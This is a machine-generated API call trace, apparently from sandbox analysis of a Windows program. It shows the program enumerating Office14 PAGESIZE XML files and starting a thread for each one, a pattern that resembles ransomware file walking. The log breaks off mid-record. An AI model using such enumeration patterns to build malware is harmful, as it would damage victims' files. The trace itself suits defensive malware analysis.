1 [0165.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7718 [0165.987] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.987] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.987] wcscat (in: _Dest=0x8e7718, _Source="PGLBL044.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" [0165.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0165.988] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0165.988] wcscmp (_String1="PGLBL048.XML", _String2=".") returned 1 [0165.988] wcscmp (_String1="PGLBL048.XML", _String2="..") returned 1 [0165.988] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8498 [0165.988] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.989] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.989] wcscat (in: _Dest=0x8e8498, _Source="PGLBL048.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" [0165.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0165.990] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0165.990] wcscmp (_String1="PGLBL054.XML", _String2=".") returned 1 [0165.990] wcscmp (_String1="PGLBL054.XML", _String2="..") returned 1 [0165.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7dd8 [0165.990] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.990] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.990] wcscat (in: _Dest=0x8e7dd8, _Source="PGLBL054.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" [0165.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec [0165.991] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0165.991] wcscmp (_String1="PGLBL058.XML", _String2=".") returned 1 [0165.991] wcscmp (_String1="PGLBL058.XML", _String2="..") returned 1 [0165.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7b08 [0165.991] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.991] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.991] wcscat (in: _Dest=0x8e7b08, _Source="PGLBL058.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" [0165.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688 [0165.992] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0165.992] wcscmp (_String1="PGLBL065.XML", _String2=".") returned 1 [0165.992] wcscmp (_String1="PGLBL065.XML", _String2="..") returned 1 [0165.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7b98 [0165.992] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.992] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.992] wcscat (in: _Dest=0x8e7b98, _Source="PGLBL065.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" [0165.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0165.994] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0165.994] wcscmp (_String1="PGLBL075.XML", _String2=".") returned 1 [0165.994] wcscmp (_String1="PGLBL075.XML", _String2="..") returned 1 [0165.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e80a8 [0165.994] wcscpy (in: _Dest=0x8e80a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.994] wcscat (in: _Dest=0x8e80a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.994] wcscat (in: _Dest=0x8e80a8, _Source="PGLBL075.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" [0165.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74 [0165.995] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0165.995] wcscmp (_String1="PGLBL077.XML", _String2=".") returned 1 [0165.995] wcscmp (_String1="PGLBL077.XML", _String2="..") returned 1 [0165.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7208 [0165.995] wcscpy (in: _Dest=0x8e7208, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.995] wcscat (in: _Dest=0x8e7208, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.995] wcscat (in: _Dest=0x8e7208, _Source="PGLBL077.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" [0165.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0165.996] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0165.996] wcscmp (_String1="PGLBL078.XML", _String2=".") returned 1 [0165.996] wcscmp (_String1="PGLBL078.XML", _String2="..") returned 1 [0165.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7688 [0165.996] wcscpy (in: _Dest=0x8e7688, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.996] wcscat (in: _Dest=0x8e7688, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.997] wcscat (in: _Dest=0x8e7688, _Source="PGLBL078.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" [0165.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68 [0165.999] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0165.999] wcscmp (_String1="PGLBL081.XML", _String2=".") returned 1 [0165.999] wcscmp (_String1="PGLBL081.XML", _String2="..") returned 1 [0165.999] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e79e8 [0165.999] wcscpy (in: _Dest=0x8e79e8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.999] wcscat (in: _Dest=0x8e79e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.999] wcscat (in: _Dest=0x8e79e8, _Source="PGLBL081.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" [0165.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e79e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60 [0166.000] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1 [0166.000] wcscmp (_String1="PGLBL082.XML", _String2=".") returned 1 [0166.000] wcscmp (_String1="PGLBL082.XML", _String2="..") returned 1 [0166.000] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0166.000] wcscpy (in: _Dest=0x8e6758, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.000] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.000] wcscat (in: _Dest=0x8e6758, _Source="PGLBL082.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" [0166.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54 [0166.002] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1 [0166.002] wcscmp (_String1="PGLBL083.XML", _String2=".") returned 1 [0166.002] wcscmp (_String1="PGLBL083.XML", _String2="..") returned 1 [0166.002] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6bd8 [0166.002] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.002] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.002] wcscat (in: _Dest=0x8e6bd8, _Source="PGLBL083.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" [0166.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0166.006] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1 [0166.006] wcscmp (_String1="PGLBL086.XML", _String2=".") returned 1 [0166.006] wcscmp (_String1="PGLBL086.XML", _String2="..") returned 1 [0166.006] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6b48 [0166.006] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.006] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.006] wcscat (in: _Dest=0x8e6b48, _Source="PGLBL086.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" [0166.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c [0166.007] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1 [0166.007] wcscmp (_String1="PGLBL087.XML", _String2=".") returned 1 [0166.007] wcscmp (_String1="PGLBL087.XML", _String2="..") returned 1 [0166.007] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7d48 [0166.007] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.007] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.007] wcscat (in: _Dest=0x8e7d48, _Source="PGLBL087.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" [0166.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0166.329] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1 [0166.329] wcscmp (_String1="PGLBL089.XML", _String2=".") returned 1 [0166.329] wcscmp (_String1="PGLBL089.XML", _String2="..") returned 1 [0166.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7718 [0166.329] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.329] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.329] wcscat (in: _Dest=0x8e7718, _Source="PGLBL089.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" [0166.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648 [0166.332] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1 [0166.332] wcscmp (_String1="PGLBL090.XML", _String2=".") returned 1 [0166.332] wcscmp (_String1="PGLBL090.XML", _String2="..") returned 1 [0166.332] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8498 [0166.332] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.332] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.332] wcscat (in: _Dest=0x8e8498, _Source="PGLBL090.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" [0166.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134 [0166.333] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4628f00, ftCreationTime.dwHighDateTime=0x1ca1b44, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4628f00, ftLastWriteTime.dwHighDateTime=0x1ca1b44, nFileSizeHigh=0x0, nFileSizeLow=0x19a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL092.XML", cAlternateFileName="")) returned 1 [0166.333] wcscmp (_String1="PGLBL092.XML", _String2=".") returned 1 [0166.333] wcscmp (_String1="PGLBL092.XML", _String2="..") returned 1 [0166.333] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7dd8 [0166.333] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.333] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.333] wcscat (in: _Dest=0x8e7dd8, _Source="PGLBL092.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" [0166.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c [0166.334] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de900, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x206de900, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, 